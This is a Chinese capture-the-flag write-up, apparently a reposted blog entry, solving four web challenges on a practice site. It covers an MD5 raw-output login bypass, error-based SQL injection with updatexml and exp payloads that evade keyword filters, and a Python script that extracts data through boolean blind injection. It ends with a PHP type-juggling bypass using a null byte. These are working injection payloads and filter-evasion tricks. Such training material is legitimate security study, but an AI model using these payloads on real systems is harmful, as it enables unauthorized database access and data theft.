实验吧之【后台登录,加了料的报错注入,认真一点,你真的会PHP吗?】

后台登录

http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
看到有源码提示

第一想到是注入 发现他的password用MD5加密了(这是为了防止你输入'"or 这些符号绕过验证password)

发现SQL注入语句和一个MD5函数

MD5(string,raw)raw 可选,默认为false

*true:返回16字符2进制格式

*false:返回32字符16进制格式

简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以进行注入了.

提供一个字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

转成字符串后: 'or'6<trash>

此时select语句为

SELECT * FROM admin WHERE username = 'admin' and password = ''or'6<trash>'

加了料的报错注入

地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 

提示post提交这两个参数

这里就大致知道要我们注入况且源码也给了提示、

<!-- $sql="select * from users where username='$username' and password='$password'";  -->

 测试后发现过滤了一些关键词 fuzz一下~~~

 

经过测试,两个参数都可以注入,但是有很多参数都过滤了,使用burp的intruder模块来大概测试一下到底哪些参数被过滤了,下面是username字段的结果:

union是过滤了的,=也是过滤了的
不过  ()没有过滤 我们可以两边构造报错函数达到注入

username=' or updatexml/*&password=1*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or '

这道题稍微难得不是报错函数的时候,而是fuzz出username字段过滤了(),而password没有过滤(),

接下来也很简单了

爆字段名:

username=' or updatexml/*&password=1*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema regexp database() and table_name regexp 0x66666c6c34346a6a),0x7e),1) or '

这里的表名转换成16进制

接下来查表:

username=' or updatexml/*&password=1*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1) or '

得到flag:flag{err0r_b4sed_sqli_+_hpf}

exp()报错注入也是可以的

username=1l&password=1' or exp(~(select * from (select value from ffll44jj)x)) or '

认真一点

http://ctf5.shiyanbar.com/web/earnest/index.phphttp://ctf5.shiyanbar.com/web/earnest/index.php

明显sql注入

盲注类型

提交1或用语句让框内为真,显示You are in。

提交语句有错误或语句让框内为假,不报错,但显示You are not in(实质和报错一样)

提交某些特殊字符会被过滤并显示sql injection detected,经过各种测试(可用Burp suite进行模糊测试或脚本提交敏感字符)发现过滤的字符有and,空格,+,#,union,逗号,

但是使用or命令注入失败,但是从模糊测试来看是没有屏蔽or关键字,应该是后台删去了or关键字。使用oorr进行替换,当后台删去or时,or左边的o与右边的r新形成一个or关键字。

因此可以通过判断形成的SQL语句结果结果是否为1确定查询内容的正确性,首先确定数据库名长度。构造id=0'oorr(length(database())=len)oorr'0判断数据库名长度。len是要确定的长度。使用burp suite进行破解,发现len=18。

然后对数据库名爆破,针对每一位数据库的字母进行爆破。以第一位为例,可以看出爆破结果为c或C。整个数据库名可以全部爆破出来。数据库名为ctf_sql_bool_blind。其中id=0'oorr((mid((user())from(y)foorr(x)))='%s')oorr'0中的foorr是为了避免删除or,在删除or后形成for。

使用爆破语句,id=0'oorr((select(mid(group_concat(table_name separatoorr '@')from(x)foorr(1)))from (infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='y')oorr'0;x为位数,y为字符。

直接对fiag表进行列名爆破,使用爆破语句id=0'oorr((select(mid(group_concat(column_name separatoorr '@')

from(x)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='y')oorr'0;只有一列,列名为fl$4g,

对列中值爆破。使用payload:id=0'oorr((select(mid((fl$4g)from(x)foorr(1)))from(fiag))='y')oorr'0;最终爆破出flag:flag{haha~you-win!}但是flag中-是个错误的字符,就想flag个后面多余的--,最终试出-替代的是' '.即flag{haha~you win!}


附上python盲注脚本:

# -*- coding:utf8 -*-
 
import requests
 
chars ='~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
 
len =len(chars)
 
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
 
mys=requests.session()
 
true_state=b'You are in'
 
result =''
 
# 爆破数据库长度 18
 
#    payload = "0'oorr((length(database()))=%s)oorr'0"%(x)
#
#    myd={'id':payload}
#
#    res=mys.post(url, data=myd).content
#
#    if true_state in res:
#
#        print(x)
#
#        print('true')
 
 
#爆破数据库名 ctf_sql_bool_blind
 
# for x in range(18):
#
#     for y in chars:
#
#         payload = "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(x+1, y)
#
#         myd = {'id': payload}
#
#         res = mys.post(url, data=myd).content
#
#
#         print(str(y))
#
#         if true_state in res:
#
#             result = result + y
#
#             print('true'+str(x)+str(y))
#
#             break
#
# print(result)
 
#爆破表名 fiag@users
 
#爆破列名 fl$4g@id@username@password
 
for x in range(50):
 
    for y in chars:
 
        # payload = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='%s')oorr'0"%(x+1,y)
 
        # payload = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(x+1,y)
 
        payload = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (x + 1, y)
 
        payload = payload.replace(' ', chr(0x0a))
 
        myd = {'id': payload}
 
        res=mys.post(url, data=myd).content
 
        print(str(y))
 
        if true_state in res:
 
            result = result + y
 
            print('true'+" "+str(x)+" "+result)
 
            break
 
    print(result)

 你真的会PHP吗?

首先刚进网页就是一个have fun  看了源码没有什么提示,也没有输入框,那就打开F12看看

有提示 6c525af4059b4fe7d8c33a.txt

访问 http://ctf5.shiyanbar.com/web/PHP/6c525af4059b4fe7d8c33a.txt

原来是审计

<?php


$info = ""; 
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false); 
error_reporting(0); 


if(!isset($_POST['number'])){
   header("hint:6c525af4059b4fe7d8c33a.txt");

   die("have a fun!!"); 
}

foreach([$_POST] as $global_var) { 
    foreach($global_var as $key => $value) { 
        $value = trim($value); 
        is_string($value) && $req[$key] = addslashes($value); 
    } 
} 


function is_palindrome_number($number) { 
    $number = strval($number); 
    $i = 0; 
    $j = strlen($number) - 1; 
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 


if(is_numeric($_REQUEST['number'])){
    
   $info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){
      
     $info = "number must be equal to it's integer!! ";  

}else{

     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  

     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }else{
          
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }else{
             $info=$flag;
          }
     }

}

这里关键的4个条件 满足了才可以flag  整理下

 条件一: (第一层if)提交的number不能是数字

条件二:(第二层if) 输入的数和他整数的返回值相等

条件三:(第三层if) 需要value1和value2相等,value2是反序的value1,所以就是要求是回文数

条件四:(第四层if) 用is_palindrome_number()这个函数检测 number,需要number不是回文数

整理了下条件 。很多矛盾的地方,,题目就是让我们利用函数的漏洞去做。

1.对于is_numeric()函数,可以用%00绕过,%00可以放在开头或结尾,%20只能放在最后。 这样条件一和条件二就绕过了。

2.而三、四条件,可以很多种方法

a) intval() 处理浮点数得时候直接返回整数,所以我们直接构造 number=0.00%00

 这样得话就可以满足第三个条件满足,因为0得反序也是0

 第四个条件是前后每一位去对比,不相等才输出flag,因为0.00%00  从左第二位和倒数第二束是不同的,所以条件四也满足

 类似这个0.00%00 得原理还有  ’-0%00‘

b)还可以使用科学计数法 

number=0e00%00

猜你喜欢

转载自www.cnblogs.com/-qing-/p/11070589.html